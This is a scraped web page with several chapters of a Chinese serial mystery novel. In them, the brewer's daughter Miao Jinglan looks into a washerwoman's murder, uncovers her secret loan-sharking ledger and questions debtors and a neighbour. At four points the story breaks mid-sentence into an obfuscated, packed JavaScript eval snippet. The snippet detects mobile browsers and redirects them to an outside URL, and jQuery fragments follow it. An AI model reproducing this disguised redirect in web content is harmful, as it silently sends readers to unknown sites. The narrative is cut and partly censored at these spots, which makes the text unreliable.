可是,足足等到苗景岚踏进县衙大门,向门口的衙役要求见鸩儿。 “那女人现在是案件的凶手,可不是想见就见。”衙役不耐烦的说。 “我和她有亲戚关系,来看她一眼。”苗景岚这话说得心平气和,说得就跟真的一样。 这话吊起衙役的好奇心,“她是你什么亲戚?” “她是我未过门的大嫂。” 听到这一句,贾仁的眼中又划过一丝惊讶的光,像是什么东西又激起她的好奇心。 “哼,就算是亲大嫂也未必让你见,更何况是未过门的。”衙役轻蔑的说着。 贾仁上前一步,从身上掏出一锭银子,很自然的塞进衙役手中。 “今天你们的侯县令在不在?我有事想见一见那个疑犯。” 那个衙役很有眼力劲的朝贾仁拱拱手,又欠欠身:“贾公子,里边请。” 县衙里的人都知道这个贾公子和侯县令关系不一般,所以对他也格外客气。 苗景岚跟着贾仁走进县衙大牢,就看到一间阴暗潮湿的牢房内坐着一个瘦弱的女子。 身上穿着打着补丁的粗布衣服,苍白发黄的脸上五官清秀,两道秀眉间带着微微的愁容,眼中像蕴含着一潭水气。 一看这张脸就是标标准准的小家碧玉的脸,难怪自己的大哥看着会着迷。 “你就是鸩儿?”苗景岚轻声问。 鸩儿抬起头,看了苗景岚一眼。 然后,微微点点头,又垂下头去。 “我是苗景明的妹妹。” 鸩儿的头猛然间又抬起头来,眼睛里闪过一丝光芒。 但是,那道光芒转瞬又逝,鸩儿又垂下头去。 “你为何不会你昨夜去了哪里?”苗景岚好奇的问。 其实这个问题萦绕在苗景岚的心中很久。 如果鸩儿向县令直接说出实情,是不是就不用被关在牢里。 可如果不说,是不是出于想保护自己大哥的想法呢? 真要是后者,那这个鸩儿姑娘还真是一个难得的好姑娘。 “说与不说,有什么不一样。衙门里的那些人不会放过我的!”鸩儿声音不大,语气里面透着悲伤。 “那你到底有没有**?”苗景岚斩钉截铁的问道。 她觉得这个姑娘性子太软,如果她是鸩儿,在小相公死后,一定要跟那个恶婆婆斗个昏天暗地,一定要争取自己的自由,然后重获新生。 “当然没有。” “那你为何要妥协?” “他们不会相信我的,我……我只是一个寡妇。”鸩儿声如蚊蚋。 苗景岚不由扶额,觉得这个鸩儿的性子也太软一些,所以才好被人拿捏。 “你杀没**和你是不是寡妇没有关系。如果你真没有**,为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15837559|175702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 何不辩驳争取一下?难道就任由别人这样冤枉你,让你把牢底坐穿,甚至被人**吗?” 鸩儿不由抽泣起来,“我就是一个命苦之人,本就不应该来到这个世上。” 苗景岚见状,不由在心里面幽幽叹一口气。 以前常有人说性格决定命运,自己还不太相信。 但今天一看鸩儿这样子,还确实如此。 出生被家人卖做童养媳,年纪轻轻又**相公,之后天天被恶婆婆折磨。 如果换作一个性格果敢泼辣的女人,恐怕早就把那个恶毒婆婆给撕了,然后逃出升天。 “你放心好了,只要你真的没有**,我和我哥自然会想尽一切办法把你救出去。不过,现在最重要的是,你把昨天晚上回家后遇到的事情详细跟我说一说。记住,不要忘记任何想起来的细节。” 或许是苗景岚的话带给鸩儿少许勇气。 她顿一顿,开始讲述起昨晚的经历:“从破庙出来,天还黑得很,以往我婆婆都睡得沉。我进到院里,发现婆婆房门还开着,我心中害怕她发现,故意绕过她房间,直接走浆洗池,结果被什么东西绊一跤。没想到……没想到她……居然死在这里。” “你看到她房间的门还开着,是不是还看到其他的东西?”苗景岚知道王婆是昨天晚上被人杀死的,可能就死在鸩儿回家之前。 如果好巧不巧,那凶手可能还在死者的家中,只是躲在暗处。 可是,鸩儿摇摇头。 “天太黑了,我什么也没有看清。” 鸩儿有些失落,可还是没有放弃希望。 “你婆婆平常都喜欢跟什么人来往?她可有什么仇家?”苗景岚又问。 鸩儿为难的回答:“婆婆做的是浆洗生意,平常来往的客人多。至于什么仇家,这我是真的不知道。” 苗景岚在心里面对鸩儿飞起一个白眼,这婆婆经常**儿媳,只怕远近乡邻都清楚。 对唯一的亲人都这样苛刻,就不相信这种人没有仇家。 当苗景岚还想继续向鸩儿问问题时,忽然听到衙门外响起鼓声。 有人击鼓鸣冤…… 第23章 米酒(5) 县衙的鼓声一响,就表示有人击鼓鸣冤。 只是黎县向来太平,百姓都热爱和平,不喜欢跑到县衙告状。 这个时间点上,是谁跑到县衙来呢? 没想到外面跑进来一个小衙役,“苗姑娘,你大哥跑到县衙来告状。” 什么,我大哥? 苗景岚真的没有想到,大哥居然会来县衙击鼓。 恐怕这事多半和鸩儿的案子有关。 苗景岚没有想那么多,直接从县衙的大牢里走出来。 就见苗景明一脸的疲惫,眼睛中满是愁容。 像是一整晚都没有好好睡,因为鸩儿的事情而受影响。 苗景岚问苗景明:“大哥,你还县衙干什么?” “鸩儿因为我而入狱,我不应该坐视不理。”苗景明一脸悲痛状。 “可你击鼓又能做什么?” “我能证明,我昨天确实和鸩儿在一起。” 还轮不到苗景岚多说几句,苗景明就被衙役带到侯县令面前。 侯县令正因为新案子而烦恼,一大早又听到有人击鼓鸣冤,显得极不耐烦。 “堂下何人?何事击鼓?” “回大人,草民苗景明,是明岚酒坊的东家。草民有事要向大人禀报,被关进大牢的女子并没有杀死她的婆婆,因为昨天夜里那名女子正和我在一起。” 这话一出,周围围观的百姓都窃窃私语。 有人说两人不知羞耻的,也有人指责苗景明勾*引良家少妇的,反正东一句西一句没有好话。 苗景岚就知道结果是这样的。 不但没有任何帮助,还会因为闲言碎语引来麻烦。 侯县令听完,一拍惊堂木,“大胆刁民,居然敢当堂胡言乱语。” 苗景明也不知道哪里来的勇气,或许真的为了救鸩儿不管不顾了,大声辩驳道:“小人没有胡说。小人昨夜真的和鸩儿在一起,草民的妹妹可以作证。” 得,把自己也牵连进去了。 苗景岚不由为这两个人的智商捏一把汗。 侯县令看了一眼堂下站着的苗景岚,又问苗景明,“那你昨夜和死者的儿媳去了哪里?做了什么?如实相告,若有不实,本官大刑伺候!” “回老爷,草民自幼便和鸩儿相识,后来她嫁给王家,又**相公,还经常被婆婆毒打。草民怜惜她,经常送些银两接济她。昨夜草民约她在破庙相会,本想跟她商量向她婆婆赎身,娶她过门的事情,没想到鸩儿回去之后就遇上王婆死在浆洗池里。” “那她回家这一种,都是你护送的?”侯县令脸上的表情有些意味深长。 “正是。” “回到家后,你们可发现异常。” “草民只是把她送到门口,并没有进去。后来没过多久,就听到鸩儿喊了一声,我便冲进去看,鸩儿却拦下我,说王婆**。她说她要去报官,怕连累我,叫我先回家。”苗景明一五一十的说出实情。 “那你也没有看见王婆的尸体?或是她提前杀死婆婆,再与你相会,也有可能?”侯县令不知道什么时候化身成为名侦探,问出一系列奇怪的问题。 苗景明马上大声的反驳:“不会的,鸩儿不会做这种事情的。以前她婆婆那样毒打她,也没有见她起杀心。鸩儿是个善良的女子,请县令大人明鉴。” “哟,你对她还真是情深意重。”侯县令挖苦道。 站在堂下的苗景岚忍不住回了一句,“大人,我问过牟仵作,王婆是死于昨夜丑时至寅时。这个时间我大哥和鸩儿正在破庙之中,是不可能**的!” 侯县令心中气恼,他还记得半个多月前也是这个女人,当着整个县衙的面说自己错判了案情。 现如今又是这个女人,又当众指责自己。 这个县令真是没法当了! 侯县令一拍惊堂木。 “本官正在审案,是何人正在堂下喧哗?你大哥是不是**凶手,本官自会判断,轮不到你在这里多嘴多舌。” “哼,就算你刚才说的有道理。也有可能是他们两人串供,一块合**掉的王婆,又假装置身事外。” 苗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15837560|175702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 景明不由脸色一变,“大人,你可不能冤枉草民呀。那个王婆真的不是我和鸩儿杀死的。” “你们两个人,孤单寡女跑到破庙又不清不楚,再加上那王婆经常毒打和谩骂鸩儿,你们心中都有怨气,因此合谋**也不是没有可能。” 苗景明吓得长跪不起,“不是,不是这样的。大人,我们真的没有**啊。” 侯县令二话不说,就把苗景明带下去。 “县令大人,你都没有充分证据,就把我哥带下去,是想屈打成招吗?”苗景岚问侯县令。 之前跟苗景岚打过几回交道,侯县令清楚苗景岚是个什么样的人,更清楚她的本事。 只见侯县令不紧不慢的说:“呵呵,你哥哥是不是凶手,可不由你说了算。本官会不会屈打成招,你也没有证据。若是你真的急着想救你哥,就赶快抓到真正的凶手,也可以让你大哥少吃一点儿苦头。” 苗景岚:…… 这县令是什么意思? 把工作的KPI转移给自己吗? 还真是一个老奸巨滑的侯县令。 苗景明被带走,县衙里围观看热闹的百姓也作鸟兽状散去。 只是从此之后,鸩儿和苗景明的闲话肯定不少。 苗景岚现在没有时间管这些,她更想抓住真凶。 “唉,想不到你那大哥还是一个痴情种。”贾仁不知道什么时候走到苗景岚的身边,“这个侯县令,如果你不帮他找到真凶,他是不会放走你大哥的。” “下一步,你打算怎么办?”贾仁跟一个话唠似的,一直跟在苗景岚身后。 此时的苗景岚心情烦躁,没空搭理贾仁。 贾仁却很自觉的跟随其身后,见她心情不佳,便不再言语。 真到走到王婆的住处,贾仁才问:“你怎么又回到这里来了?王婆的尸体已经被抬走,县衙的官差和仵作都走了,这里还能有什么线索?” “要是什么人都能发现的,那就不叫线索了。既然凶手是夜晚闯进来杀掉的王婆,那么肯定会留下一些线索的。” 第24章 米酒(6) 此时的王婆家里已经没有外人。 县衙里的衙役都已经离开,王婆的尸体也已经被人抬走。 死过人的房子,百姓都比较的避讳。 所以,即便大门开着。 也没有人敢进来。 苗景岚和贾仁两个贼大胆,却直接到房子里参观。 应该说这个王婆经商赚钱还是有一点儿天赋的。 在这个朝代,像这种两进两出还带着小院的房子,价格应该挺贵。 而且看看这房子里面摆设的家具和装饰,都像是刚布置没多久的。 没想到这个王婆做浆洗生意还挺赚钱。 贾仁本想走进一间狭小阴暗的小房间,或许他觉得像这样的房间内才有可能残留凶手留下来的线索。 可是,苗景岚看也没有看那个房间一眼。 而是径直绕过去,走到浆洗池旁的一个大房间。 贾仁见状,也放弃走进那个小房间。 而是紧跟在苗景岚的身后,走向另一个大房间。 “你为什么不进那个小房间,而是走进这个房间?”贾仁化身好奇宝宝,好奇的问道。 “那个小房间是鸩儿住的,而大房间才是王婆住的。我们要从死者房间里面找线索。” “你怎么知道那是王婆的房间?”这话让贾仁觉得奇怪,明明他们都是刚进王婆的住处。 苗景岚却不以为然的说:“王婆一直苛待鸩儿,你觉得她会把大房间留给儿媳妇?” 嗯,说得很有道理。 这个房间足有鸩儿那个房间两倍大,光线明亮不说,里面的家具和摆设都要更为贵重一些。 苗景岚不由在心里面嘀咕,这个王婆还真会享受。 趁着四下无人,苗景岚开始检查起王婆房间里面的东西。 推算起来,死者死后不超过12个时辰。 凶手可能还来不用从房间里面拿走其他的东西,极有可能留下关键的证据。 所以,苗景岚才选择在这个时间赶到凶案现场。 可是,整个房间里面除了一些金银首饰和散碎银两,再也没有发现其他的东西。 苗景岚正有些气馁,就看到房间的柜子里居然多了一道缝。 苗景岚觉得有些古怪,把手指伸进那道缝里面。 就在她触碰到那道缝的瞬间,就听到“咔嚓”一声,像是触碰到什么机关,里面居然弹出一个小抽屉。 想不到这个王婆还会在房间里面藏有机关,只是不知道这个抽屉里面藏着什么样的东西,让人觉得这样神神秘秘。 苗景岚检查一下那个抽屉,发现抽屉里面除了一本帐本之外,什么也没有。 她取出那本帐本,仔细翻看起来,发现里头都是奇怪的图案和一串奇怪的数字。 比如说,帐本的一页上画着一只猪,猪后面写着:参拾陆??玖两。 还有一页帐本上画着一只狗,狗后面写着:拾壹捌??壹拾壹两 …… “这究竟是什么意思呀?”哪怕是贾仁这种见惯大场面的富贵闲人,也看不懂这帐本上写的什么。 苗景岚沉默片刻,忽然眼睛一亮:“我明白了。” “这是一本欠债的帐本。上面画着的各种各样的动物,其实是人的名字。而后面写的一大串数字是时间和人名。” “比如说这头猪,是指这个人在三月十六日欠下银子十一两;而这只狗,是说这个人在十一月八日欠银十一两。” “王婆可能不太识字,所以才用这种方法记下欠债。” 贾仁恍然大悟:“想不到一个浆洗婆还挺有钱,居然还借给别人这么多的银子。” “不,王婆的营生绝对不止浆洗这么简单。我觉得还在黎县放**,而这本帐簿就是她放**的记帐簿。”苗景岚说出自己的推论。 贾仁不敢置信:“我朝有律令,百姓不得私自放贷。这王婆有这样大的胆子,一个人在这黎县放**?” “你说得对,她肯定不能一个人办下这件事情。否则就算借银子给别人,也没有本事收回来。她肯定还有同谋!”苗景岚斩钉截铁的说。 “对对对,说不定这王婆的死也和她的同谋有关!”贾仁像是被苗景岚提醒一下,也开始发散性思维。 “这倒未必。” 苗景岚的手像是在无意中翻看着帐簿,脑海中忽然又想起另外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15837561|175702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个想法:“如果有人欠下王婆的**,又不想还给她,还把她给杀了呢?” “这……也不是没有这种可能。”贾仁有些为难,“如果真是这样,我们该如何找到凶手?” 苗景岚又陷入沉默之中。 她把帐簿仔细翻看一遍之后,合上帐簿开始在王婆的房间里面慢慢来回走着。 认识这么久,贾仁也发现苗景岚这个特别:一旦陷入思索之中,就会沉默。 她的眉间微蹙,本就冷冰冰的脸上更像是裹了一层寒霜。 那精致的五官仿佛精雕玉琢一般,眼神中带着一种深遂的美。 有那么一刻,贾仁有些恍神。 仔细说起来,眼前这个小女子对自己并不算好。 初见她时就态度冰冷,还几次戏弄自己。 虽说是一个平民女子,气质却比官宦人家更加清冷高贵。 有时候,贾仁觉得自己会被这个女人活活气死。 可是,人家确实有着普通女子,甚至男子也无法比肩的能力。 在凶案面前临危不乱,总能在一大堆的复杂案情中找到关键的线索。 她总是那样冷静,判断总是那样准确。 在别人还束手无策之时,她已经可以看得更高更远。 而且,她还不爱为银两折腰。 她苦苦的探索着,只是想追寻一个真相,还世人一个公平和正义。 这样的女子真的不多见。 又有什么样的男子够资格与他比肩。 贾仁这样想着,看向苗景岚的眼神竟然有几分觉醒和痴迷。 “喂,看什么呢,呆子?还不快走?”一恍神,苗景岚已经走到院中,回过头催促贾仁。 贾仁瞬间收回自己的胡思乱想,刚才对苗景岚的美好印象又消失不见。 哼,这个女人,果然不能夸。 “急促促的要去哪里?”贾仁不悦的问道。 苗景岚神秘的莞尔一笑,“当然是去县衙,找县令帮忙。” 贾仁不解:“什么?找他帮忙?他之前可是要你帮他破案的。” “呵呵,想要利用我帮他破案,那他也要付出才行。” 第25章 米酒(7) 贾仁和苗景岚回到县衙,求见侯县令。 侯县令本来不想见苗景岚,但一听到贾公子和苗景岚一块来,不见也不行。 侯县令一看到贾仁,就客气的拱拱气:“贾公子,来我这黎县已有数月,还没有请你吃过饭,不如今天就和本官一块吃顿晚饭如何?” 苗景岚不由在心里面觉得惊讶,这个侯县令虽然刚上任不久,但官老爷的架子是端得十足。 这一点,之前审案子就可以看出来。 可是,他为什么对这个贾仁这样客气? 而且,之前看到他对贾仁也是不给好脸色的,怎么现在突然转性? 贾仁不以为然,“吃饭就不必了,我们找你是有事。” “有何事?” “我们从王婆的宅子里找到一本帐簿,猜测她私下里在黎县放贷。她的死可能跟这本帐簿有关系。”说话间,苗景岚从身上掏出一本帐簿,递给侯县令。 侯县令接过帐本,不由大骂起来:“真是可恶的刁民,居然暗地里放印子钱。这样的刁民,真是死不足惜!贾公子放心,本县令一定严查此事。” 贾仁负手而立,那样子比这个侯县令还架子十足。 “现在最重要的不是查印子钱的事,而是这个王婆的死。我们一致认为,她的死肯定和放印子钱有关。” 侯县令连连称赞:“公子说得的,下官也是如此认为。” “那你想怎么做?” “本官这就叫县衙里头的捕快,把这些放印子钱和借印子钱的人统统抓来,然后严加审问,一定会水落石出。”侯县令对上贾仁一脸献媚的嘴脸。 “侯县令,这样做会打草惊蛇。我倒是有一个想法,不知道县令大人愿不愿意听?” 或许是因为贾仁的关系,侯县令对苗景岚的态度也要客气许多。 “苗姑娘请讲。” “县令大人可以贴榜公示,说王婆私下放印子钱,恶贯满盈,有谁肯主动告知王婆的事情,必有重赏。” “不知道姑娘这样做是何意?” “王婆并不是一个好人,那些欠下**的人肯定恨透了她,愿意主动交待,想要功过相抵。而真正的凶手肯定敢上门,但又发现我们知道印子钱的事情,肯定比我们还急着想找到这本帐簿。只要他一着急,必然会露出马脚。” 侯县令连连点头,“姑娘说的是。好,就照姑娘的意思办。” …… 离开县衙。 贾仁问:“你觉得凶手真的会找上门?” “这个世界并没有绝对完美的犯罪,总是会有会犯错误的**。” “嗯,这句话是谁说的?” “一个很厉害的人。”苗景岚不咸不淡的回答。 贾仁不由打趣她:“你说的这个人,不会就是你吧?” “不是我。”苗景岚冷冰冰的回答。 没有逗到对方,贾仁有些失望:“神神秘秘的,一点儿也不好玩。” “跟我相比,我看你更加的神秘吧。”苗景岚不动声色的扫视对方一眼。 “你这话是什么意思?” “我记得我第一次去县衙的时候,那个侯县令对你也没有好脸色。怎么现在突然转性子,对你客客气气、恭恭敬敬,倒像你是他的上司一般。”苗景岚第一次对着贾仁说出心中的疑问。 “你究竟是谁?” 贾仁一愣,眼神中划过一丝心虚。 但很快又变成平常的样子,“我能是谁?不就是一个从京城来的富贵闲人吗?怎么会是他的上司?” “我对你的过往和背景没有兴趣,我们是因为案子而结识,也是因为查案而结伴同行。如果你想借着这些做其他事情,我是不会让你称心如意的。” 在前世的时候,苗景岚不是没有见过大家为了名誉和钱财互相卷的事情,她希望这种事情不要出现在这里。 她不想自己成为某个人升官的捷径,利用她查案的能力而获取自己的利益。 对苗景岚而言,案子就是案子,真相就是真相,不想夹杂着其他的东西。 “你觉得我在利用你?”贾仁的眼神变得黯淡下来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15837562|175702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你说你好奇我如何查案,可你对侯县令比我还熟。如果只是为了查案,你大可自己找县衙的人,何必找我一个酿酒的?你想知道我是如何找寻这些案件真相的,却不肯告诉我你的事情。” “我的事情没有什么好说的。只是从京城赶出来的一个废物而已,虽然有几个闲钱,但我还是对查案感兴趣。我好奇你明明是一个酿酒师,却能比县衙里的人更快的知道真相。至于你说的侯县令对我客客气气,那也只是因为我京城的背景而给我几分薄面而已。我现在还不能告诉你真相,等将来如果你有机会跟我一块去京城,自然会知道一切。”贾仁的神情有些黯然。 苗景岚看到贾仁一脸真诚的模样,觉得对方也不可能欺骗自己。 但是,从上一世开始,她就习惯独来独往。 这一世,贾仁硬着头皮找上来,非要跟自己做探案搭子。 这个人有些圆滑,有些无赖,有时候又有些呆,喜欢仗着自己有钱拿钱砸人…… 但总体来说,还是一个好人。 至于他为什么要瞒着自己,或许对方真的有什么难言之隐。 贾仁,假人。 其实最早认识对方的时候,苗景岚就对这个家伙充满疑问。 只是几个案子相处下来,觉得财大气粗又痞癞的假公子倒也没有什么坏心眼。 算了,大不了这个案子过后,就离这家伙远一点。 苗景岚不喜欢满身秘密的人留在自己身边,她觉得太没有安全感。 “今天就到这里吧,我们已经设下圈套,就看凶手会不会钻了。”苗景岚淡淡的说。 “万一凶手不钻呢?” “那也没有办法。凡事尽力而为,正所谓‘谋事在人,成事在天’,我们现在只能等。如果凶手真的想销毁证据,迟早还是会找上来的。”苗景岚心里笃定这个凶手一定会上来找帐簿。 只要真凶现身,苗景明和鸩儿才可能被放出来。 到时候,苗景岚打算跟哥哥说清楚,放下家里的生意出远门,她想更多的了解这个世界。 第27章 米酒(9) 县衙的大堂。 侯大人在审问曾向王婆借**的四人。 而苗景岚和贾仁则坐在县衙后堂,认真的听着侯县令审问这四个人。 “堂下所跪何人?” “在下何虎,曾经向本县的王婆借过五两银子,可没想到那恶妇说什么九出十三归,借给我四两银子,却要我一个月还八两银子。小的还不出来,就把小人的女儿卖给邻县当丫环,真是歹毒至极。” “既然如此,你为何早些不说?她把你女儿给卖了,你记恨她。那个王婆是不是你杀害的?” 何虎的脸色大变,连连摆手:“没有没有,那王婆虽然可恶,但小女被卖到大户人家不用忍饥挨饿,还把欠债还清,也算是因祸得福。小的虽然记恨她,但还闹不到要**的地步。” 第二个来控诉王婆的欠债人叫邓昌。 “大人,数年前,小的曾经借了那婆娘二两银子,时间久了,一时忘记偿还,想不到那个贼婆娘居然算我六两银子,还闹到我父亲那里。我父亲替我还了钱,却气得大病一场,最后不治而亡。如今这婆娘被人杀死,实属罪有应得,小的愿意做人证,指证王婆私放印子钱的事情。” “王婆在世的时候,你如何不站出来指证她?如今她被人杀死,你又跳出来说做人证,我看这人就是你杀的吧?”侯县令质问对方。 邓昌一脸怒容,“大人休要污蔑在下,小的也是饱读诗书之人,断不可能做出这样的事情。之前一直在替父亲守孝,没心事找那婆娘算帐,后来又懒得跟那妇人计较。如今这恶妇**,大人张榜说要找到指证那恶妇私放印子钱的证人,小人这才来的县衙。” 苗景岚从县衙后面看了邓昌一眼,书生打扮,身上的秀才袍子上还打着补丁。 一眼看上去就手无缚鸡之力,而那王婆虽然年近四十,却膀大腰圆,百十来斤,不太可能被他杀死。 第三个人是一个老头,白发苍苍。 走路颤颤巍巍,说话时嘴巴还会哆嗦。 “老翁我今年八十有二,我要状告那王婆。六年前,我因家里大郎和二郎要娶亲,就向那王婆借了六两银子。没想到两个月后,居然要我还十两银子。我拿不出钱,就要逼我把祖田给贱卖。我家二郎气不过,和王婆带上门的要债人吵起来,那伙人居然把我二郎的腿给折断了。”老头说到这里,忍不住呜呜呜的哭起来。 侯县令听到这里,不由皱皱眉,“私放印子钱,本就违背我朝律法,他们又打作你儿子,真是罪上加罪。既然如此,你为何不上告官府。” “老婆我何曾没告过?只是几年前这黎县的父母官另有其人,官府里对王婆私放印子钱的事情睁一只眼闭一只眼,我们小老百姓又有什么办法。” 侯县令沉默,想来这黎县前任县任也不是个好货色,再想到那家伙如今还升职了,就觉得这黎县的水更深。 王婆私放印子钱的事情恐怕黎县里面早有耳闻,但这女人能干这么久,恐怕少不了幕后之人的包庇。 之前虽然跟贾仁夸下海口,但真要彻查此事,恐怕还有些棘手。 第四个来告王婆的是个女人。 虽然三十来岁,但是柳眉细腰,身姿娉婷,依旧有几分风韵。 认识对方的不是别人,正是天香楼里的香儿。 香儿哭诉着说:“十年前,我父亲过世,家中贫寒,没有钱安葬父亲,才向那王婆借了一两银子。没想到不出半月,她就要我还二两银子,若是拿不出钱,就把我卖到天香楼。结果我娘被活活气死,我也流落至此。” 听完香儿的遭遇,苗景岚不由摇摇头。 这个人也不可能杀死王婆。 虽然这四个人都曾经向王婆借过**,但是杀是王婆的另有其人。 凶手必须符合两个条件:一、欠了王婆的银子一直没还;二、跟王婆很是亲密。 这四个人虽然都跟王婆有过节,但是他们都还清了欠债。 而且,杀死王婆的凶手很狡猾,他知道王婆的帐簿平常都藏在哪里,悄悄撕掉那页想鱼目混珠。 见四个人都不是凶手,苗景岚有些失望的离开县衙。 而黏人精贾大公子又依依不舍的黏在苗景岚的身后。 “喂,我说你让县令审问这四个人,却又一声不响的离开县衙,是不是有了什么新的线索?”贾仁放不下那颗好奇的心。 “没有 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“你说错了,我不像你,不喜欢多管闲事。跑去查案,只是因为那些案子与我有关,正巧碰上了,就尽力而为。至少我做事光明正大,不像某些人刻意隐瞒身份,有意接近别人也不知道是什么目的。” 不知不觉,两个人一边吵着,一边走到王婆的家。 贾仁有一丝动怒,“苗景岚,我有你说得那么卑鄙吗?” “你自己知道。” “好好好,既然你这样说我,那我就不再跟着你,省得说我别有用心。” “公子自便。” 贾仁真的气乎乎的走了,苗景岚头也没回。 前世苗景岚就是一个独行侠,这一世是这家伙硬着头皮黏上自己,自己才没有舍不得呢。 当她再次来到王婆,感觉气氛更加阴冷。 院子里里外外没有人打扫,整个房子显得有些脏乱。 再加上这房子之前死过人,此刻无论谁站在这里都会有一种后背发凉的感觉。 忽然,苗景岚觉得院墙边飞快的闪过一个人影…… 第28章 米酒(10) 苗景岚本能的感觉到一种危险。 下意识的喊了一声:“是谁?谁在那里?” 没有人吭声。 苗景岚回过头,就看到泥土夯实的墙壁上几株野草在迎风摆动。 “再不说话,别怪我对你不客气了。”苗景岚朝着墙壁那头大喝一声。 同时,整个身体处于高度的戒备状态,摆了一个随时准备进攻的姿式。 “诶,姑娘,不要这样紧张,不要这样紧张。是我,是我呀?”墙头那边伸出来一个脑袋,清清瘦瘦的,脸上闪过几分尴尬。 苗景岚抬眼看了那人,觉得有些面熟。 那人也不再躲了,而是绕过院中的墙壁径直走过来。 苗景岚想起来,这人是黎县堂里的一名教书先生李斌,曾经来他们的酒坊喝过酒。 “苗姑娘,你也在这里呀。真是好巧,嘿嘿嘿嘿嘿嘿……” “夫子怎么会在这里?”苗景岚并没有放松警惕。 “嘿嘿嘿嘿嘿嘿,苗姑娘,我就住在隔壁呀。”李斌讪讪一笑。 “什么?你就住隔壁?”苗景岚觉得意外。 “是呀。我和王婆是多年的邻居,他们家和我很熟。” “那你也知道王婆私放印子钱的事情了?” “这……”李斌难掩脸上的尴尬,“苗姑娘,大家都是街里街坊的,她家的事情我自然知道一些。” “那出事的那一晚,你在哪里?” “苗姑娘,你是在怀疑我吗?三天前,我教的一个小童被蛇咬伤,我替他医治好,还背他回了家。他的家人感激我,留我在他家吃饭,还喝了一点儿小酒。我因不胜酒力,在他家睡过去,第二天才回到家。” “可有人证?” “姑娘尽可以去问。” 苗景岚见对方说得这样信誓旦旦,不由有些泄气。 “那你知道这王婆平常和谁来往最多?最近又是借给谁银子?” 李斌不由轻笑一声,“苗姑娘,早有耳闻你家世代酿酒,却有一个爱查案子的女儿。你这样多的问题,叫我如何一两句就能说清,我家就在隔壁,过来喝杯茶吧。王婆家的事情,我慢慢说给你听。” 李斌的家就在王婆隔壁,两家仅仅只是隔着一道短短的泥墙。 跟富足的王婆家相比,李斌的家里就要寒酸许多。 房子里面破破烂烂的,连件像样的家具都没有。 墙家摆放着一大堆的书,倒是桌上放着两瓶好酒,一看就是大酒楼的佳酿。 “苗姑娘,小人家中贫寒,唯独喜欢读书和饮酒,希望你不要见笑。”李斌笑意吟吟的引苗景岚进门,“我有一个学生的父亲是茶农,留给我一些刚出的新茶,我先泡一杯给你喝。” “夫子不用客气。你也知道我大哥和鸩儿如今还被关在县衙,我追凶心切,所以才草木皆兵。既然夫子就住在王婆家隔壁,平常可知道她与什么人结怨?还有,她最近又借钱给什么人?” “要说这王婆,整个黎县都知道她是一个悍妇。早年从外乡嫁过来,相公死后和一个儿子相依为命。哪知这女人是个厉害的角色,没过两年靠浆洗生意有了起色,还给儿子讨了一个漂亮的媳妇。” “或许是这女人太过厉害,连累儿子早夭,只是可怜鸩儿,年纪轻轻就成为寡妇,还要成天被婆婆打骂。要说她私说印子钱的事,我也是最近才知道。这老婆子鬼得很,做这门生意极少让人知道。我看是这女人缺德事做太多,才会被人谋害。” “苗姑娘,请坐,喝茶。”李斌一边说着,一边利落的泡好茶。 苗景岚慢慢坐下,接过茶杯,杯子里面浓重的茶香随着热气飘散进鼻进,闻着就清香无比,沁人心脾。 她端起茶杯喝了一口,夸赞道:“果然是好茶!” “嘿嘿嘿,苗姑娘果然是好眼力。其实你那哥哥和鸩儿的事情,我倒是略有耳闻。你或许不知道,那王婆每回把儿媳妇打得皮开肉绽,都是你哥哥带他去医馆看的病。” 苗景岚恍然大悟,难怪酒坊老是会银子对不上帐。 原来是大哥拿钱去替 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 